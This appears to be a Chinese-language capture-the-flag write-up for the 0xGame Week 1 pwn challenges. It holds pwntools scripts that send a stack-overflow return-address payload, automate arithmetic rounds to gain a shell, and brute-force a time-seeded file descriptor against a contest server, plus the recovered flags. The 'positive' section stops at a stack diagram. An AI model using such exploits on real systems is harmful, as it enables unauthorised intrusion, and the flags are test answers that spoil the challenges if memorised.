[Week 1] 0. test your nc linux系统里控制台直接nc连接 或者win下安装ncat,用ncat替代nc连接 得到flag [Week 1] 1. test your pwntools 题干要求在10秒内完成100轮的计算 从而拿到shell 编写脚本 from pwn import *
import time
p = remote('47.97.58.52', 40010)
start = time.time()
for i in range(100):
_ = p.recvline()
_ = p.recvline()
task = p.recv()
task = task.decode('utf-8')
ans = eval(task[:-3])
p.sendline(str(ans))
end = time.time()
print(f'epchos = {i+1:02d} | times = {end-start:.2f}')
p.interactive()
拿到shell后抓紧操作,应为获取flag时间也算在10秒内 ls>cat flag 0xGame{97cb7b84-3886-42fa-a234-1e6228ad0c9a} [Week 1] 2. stack overflow 栈溢出类似详解 题目说到栈溢出,也就是字符串输入长度没有受限以至于溢出给定的内存大小,覆盖其他内存上的内容 IDA逆向查看程序,查看变量的内存地址范围确定是32位 查看函数列表,发现有一个whaaaaaaaaaaaaat的函数(确信 点击函数查看发现在system之前有两个put以及内存地址 如果跳转地址到0x4012BD后续的进程会被打断(其实我并不完全知道原理 但根据直觉地址应该跳到0x4012DD直接执行system指令拿到shell from pwn import *
p = remote('47.97.58.52',40001)
payload = b'A'*32+b'B'*8+p64(0x4012DD)
p.sendline(payload)
p.interactive()
ls>cat flag1&cat flag2 0xGame{786a5d24-51c1-4a6f-a177-0c87f4407767} [Week 1] 3. positive IDA逆向分析发现存在whaaaaaaaat函数可以直接拿到shell,但是没有被直接引用 沿用上一题的方法,查看堆栈,发现伪c中对于三个变量的位置是这样注释的 char v4[40]; // [rsp+0h] [rbp-30h] BYREF
char buf[4]; // [rsp+28h] [rbp-8h] BYREF
size_t nbytes; // [rsp+2Ch] [rbp-4h]
-------------------------- <-- 栈底 (rbp)
| nbytes | <-- [rsp+2Ch] / [rbp-4h] (44字节偏移,8字节)
--------------------------
| buf[4] | <-- [rsp+28h] / [rbp-8h] (40字节偏移,4字节)
--------------------------
| v4[40] | <-- [rsp+0h] / [rbp-30h] (栈帧起始,40字节)
-------------------------- <-- 栈顶 (rsp)
[Week 1] 4. find_me IDA逆向分析 发现开头随机打开了v4个fake flag,再打开了一个flag 之后再调用do_bad函数 此函数进行了两轮判断 若输入为1则向传入参数对应的文件写入指定地址上的内容 若输入为0则从传入参数对应的文件读取,并写入指定地址 此处的传入参数指文件描述符 由此可以推导出 第一轮的输入应该为0,<flag的文件描述符> 第二轮的输入应该为1,0 由于flag的文件描述符不确定,应为是依据随机数生成的 所以脚本中采用模拟生成随机数来尽量去拟合 由此可以编写脚本 from pwn import *
import time
context.log_level = 'critical'
n = 1
while True:
try:
p = remote('47.97.58.52', 40003)
current_time = int(time.time())
random.seed(current_time)
v4 = str(random.randint(0, 99))
p.recvline()
p.recvline()
p.send(b"0")
time.sleep(0.1)
p.send(f"{v4}".encode())
time.sleep(0.1)
p.send(b"1")
time.sleep(0.1)
p.send(b"0")
flag = p.recvline().decode().strip("\n")
print(flag)
p.close()
print(f"epochs={n}")
if flag != "0xx0game{f4ke_fl4g_desu~}":
break
n += 1
except Exception as e:
continue
0xGame{c19a8184-398c-4306-a586-5db20ce1ae1d}